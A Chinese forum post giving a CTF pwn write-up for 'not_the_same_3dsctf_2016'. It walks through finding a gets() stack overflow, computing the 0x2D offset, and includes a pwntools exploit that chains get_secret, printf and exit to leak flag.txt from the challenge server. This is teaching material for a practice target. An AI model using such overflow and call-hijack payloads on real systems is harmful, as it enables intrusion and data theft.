找回密码
 立即注册
首页 业界区 安全 PWN手的从成长之路-08-not_the_same_3dsctf_2016-溢出+ ...

PWN手的从成长之路-08-not_the_same_3dsctf_2016-溢出+函数调用劫持

谷江雪 2025-10-4 12:38:21
1.png

远程连接,没有什么可用信息。
2.png

file 查看文件。32 位 ELF 可执行文件。
3.png

checksec 查看文件安全属性。开启了 NX 保护,栈上无法执行。
4.png

IDA 打开文件。查看 main 函数,发现了 gets() 高危函数。
5.png

并且在 get_secret 函数中找到了后门。它用只读模式打开 flag.txt ,之后将文件存放在 fl4g 变量中。那么我们就可以想到,用 printf() 函数将 fl4g 变量内容打印出来。
6.png

分析 main函数的汇编代码,发现其没有 push 指令,并且 retn 没有设置返回地址,因此构造 exp 的时候就不需要覆盖返回地址。
7.png

计算溢出大小:0x2D+0=0x2D
8.png

我们需要调用 printf() 函数,所以我们要找到它的内存地址。
9.png

双击 printf,就找到了其内存地址
10.png

调用 printf 函数之前,我们需要了解 printf 函数的输出原理:printf 函数并不会立即把输出内容写显示到屏幕上,而是先将输出内容写入到缓冲区中。只有满足一定条件时(比如缓冲区满,遇到换行符 \n 且开启了行缓冲模式、程序正常结束或调用 flush 函数刷新缓冲区等),缓冲区中的内容才会被实际输出到对应的设备上。
因此脚本就需要添加一个返回地址。
大致流程:先溢出,之后直接执行后门,让程序将 flag.txt 的内容存到 fl4g 变量中,再调用 printf 函数地址,因为这里 printf 函数得到输入后,没有结束程序,所以数据就会保存在缓冲区中,这时就要调用一个返回地址结束程序(exit 函数),然后触发 printf 的输出机制,再在后面添加 fl4g 变量的内存地址,让 printf 定位到 fl4g 的数据。(简洁流程:调用 printf 地址获取 fl4g 的内容,再调用 exit 结束地址触发缓冲区刷新以显示内容,最后到 fl4g 的内存地址,让 printf 定位数据。)
exit 函数地址(返回地址)
11.png

printf 函数地址。
12.png

fl4g 变量地址。
13.png

编写 exp:
  1. from pwn import *  
  2. r=remote('node5.buuoj.cn',29302)  
  3.   
  4. get_secret_addr=0x80489A0  
  5. printf_addr=0x0804F0A0  
  6. exit_addr=0x0804E660  
  7. flag_addr=0x080ECA2D  
  8.   
  9. payload=b'a'*(0x2D)+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr)  
  10. r.sendline(payload)  
  11. r.interactive()
复制代码
flag 被打印出来。
14.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册